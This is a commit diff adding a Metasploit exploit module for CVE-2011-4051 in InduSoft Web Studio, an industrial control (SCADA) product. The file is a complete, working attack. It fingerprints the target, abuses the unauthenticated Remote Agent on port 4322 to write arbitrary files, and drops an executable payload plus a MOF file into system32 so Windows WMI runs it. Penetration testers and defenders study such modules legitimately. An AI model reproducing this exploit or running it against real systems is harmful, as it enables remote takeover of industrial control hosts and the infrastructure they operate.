Added module for CVE-2011-4051

Author: jvazquez-r7

modules/exploits/windows/scada/indusoft_webstudio_exec.rb

@@ -0,0 +1,196 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+#   http://metasploit.com/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = ExcellentRanking
+
+	include Msf::Exploit::Remote::Tcp
+	include Msf::Exploit::EXE
+	include Msf::Exploit::WbemExec
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'InduSoft Web Studio Remote Code Execution',
+			'Description'    => %q{
+					This module exploits a lack of authentication and authorization on the InduSoft
+				Web Studio Remote Agent, that allows a remote attacker to write arbitrary files to
+				the filesystem, by abusing the functions provided by the software.
+
+				The module uses uses the Windows Management Instrumentation service to execute an
+				arbitrary payload on vulnerable installations of InduSoft Web Studio on Windows pre
+				Vista. It has been successfully tested on InduSoft Web Studio 6.1 SP6 over Windows
+				XP SP3 and Windows 2003 SP2.
+			},
+			'Author'         =>
+				[
+					'Luigi Auriemma', # Vulenrability Discovery
+					'juan vazquez' # Metasploit module
+				],
+			'License'        => MSF_LICENSE,
+			'References'     =>
+				[
+					[ 'CVE', '2011-4051' ],
+					[ 'OSVDB', '77179' ],
+					[ 'BID', '50675' ],
+					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-330' ]
+				],
+			'Privileged'     => true,
+			'Payload'        =>
+				{
+					'BadChars' => "",
+				},
+			'Platform'       => 'win',
+			'Targets'        =>
+				[
+					[ 'Windows XP / 2003', { } ],
+				],
+			'DefaultTarget' => 0,
+			'DisclosureDate' => 'Nov 04 2011'))
+
+		register_options([Opt::RPORT(4322)], self.class)
+	end
+
+	def check
+		connect
+
+		# Get Application version
+		data = [0x14].pack("C")
+		sock.put(data)
+		app_info = sock.get_once
+		disconnect
+
+		if app_info =~ /InduSoft Web Studio v6.1/
+			return Exploit::CheckCode::Vulnerable
+		elsif app_info =~ /InduSoft Web Studio/
+			return Exploit::CheckCode::Detected
+		end
+
+		return Exploit::CheckCode::Safe
+
+	end
+
+	def upload_file(filename, my_payload)
+		connect
+
+		# Get Application version
+		data = [0x14].pack("C")
+		sock.put(data)
+		app_info = sock.get_once
+		if app_info !~ /InduSoft Web Studio/
+			print_error("#{@peer} - InduSoft Web Sutio hasn't been detected, trying to exploit anyway...")
+		end
+
+		# Get Operating System
+		data = [0x13].pack("C")
+		sock.put(data)
+		os_info = sock.get_once
+		if os_info !~ /WINXP/ and os_info !~ /WIN2K3/
+			print_error("#{@peer} - Exploitation through Windows Management Instrumentation service only works on windows pre-vista system, trying to exploit anyway...")
+		end
+
+		# Upload file
+
+		data = "\x02\x37" # Command => Select destination
+		data << [my_payload.length].pack("V") # Data length
+		data << "#{filename}" # File name to upload
+		data << "\x09\x00\x30\x00\x00\x00"
+		data << "\x10\x03" # End of packet
+
+		# The data must be split on 1024 length chunks
+		offset = 0 # Data to send
+		count = 1 # Number of chunks sent
+		groups = 0 # Data must be sent in groups of 50 chunks
+
+		chunk = my_payload[offset, 1024]
+
+		while not chunk.nil?
+
+			# If there is a group of chunks, send it
+			if count % 51 == 0
+
+				data << "\x02\x2c" # Command => Send group of chunks
+				my_count = [count].pack("V") # Number of chunks
+				data << my_count.gsub(/\x10/, "\x10\x10")
+				data << "\x10\x03" # End of packet
+
+				sock.put(data)
+				res = sock.get_once
+				if res !~ /\x02\x06\x10\x03/
+					return res
+				end
+
+				count = count + 1
+				groups = groups + 1
+				data = ""
+
+			end
+
+			pkt = [ 0x02, 0x2e ].pack("C*") # Command => Chunk Data
+			my_count = [count].pack("V")
+			pkt << my_count.gsub(/\x10/, "\x10\x10") # Chunk ID
+			pkt << [chunk.length].pack("V").gsub(/\x10/, "\x10\x10") # Chunk Data length
+			pkt << chunk.gsub(/\x10/, "\x10\x10") # Chunk Data
+			pkt << "\x10\x03" # End of packet
+
+			data << pkt
+			offset = (count - groups) * 1024
+			chunk = my_payload[offset, 1024]
+			count = count + 1
+		end
+
+		pkt = [ 0x02, 0x03].pack("C*") # Command => End of File
+		my_count = [count].pack("V")
+		pkt << my_count.gsub(/\x10/, "\x10\x10") # Chunk ID
+		pkt << rand_text_alpha(8) # LastWriteTime
+		pkt << rand_text_alpha(8) # LastAccessTime
+		pkt << rand_text_alpha(8) # CreationTime
+		pkt << "\x20\x00\x00\x00" # FileAttributes => FILE_ATTRIBUTE_ARCHIVE (0x20)
+		pkt << rand_text_alpha(1)
+		pkt << "\x10\x03" # End of packet
+		data << pkt
+
+		sock.put(data)
+		res = sock.get_once
+		disconnect
+
+		return res
+
+	end
+
+	def exploit
+
+		@peer = "#{rhost}:#{rport}"
+
+		exe = generate_payload_exe
+		exe_name = rand_text_alpha(rand(10)+5) + '.exe'
+
+		mof_name = rand_text_alpha(rand(10)+5) + '.mof'
+		mof      = generate_mof(mof_name, exe_name)
+
+		print_status("#{@peer} - Uploading the exe payload to C:\\WINDOWS\\system32\\#{exe_name}")
+		res = upload_file("C:\\WINDOWS\\system32\\#{exe_name}", exe)
+		if res =~ /\x02\x06\x10\x03/
+			print_good "#{@peer} - The exe payload has been uploaded successfully"
+		else
+			print_error "#{@peer} - Error uploading the exe payload"
+			return
+		end
+
+		print_status("#{@peer} - Uploading the mof file to c:\\WINDOWS\\system32\\wbem\\mof\\#{mof_name}")
+		res = upload_file("c:\\WINDOWS\\system32\\wbem\\mof\\#{mof_name}", mof)
+		if res =~ /\x02\x06\x10\x03/
+			print_good "#{@peer} - The mof file has been uploaded successfully"
+		else
+			print_error "#{@peer} - Error uploading the mof file"
+			return
+		end
+
+	end
+
+end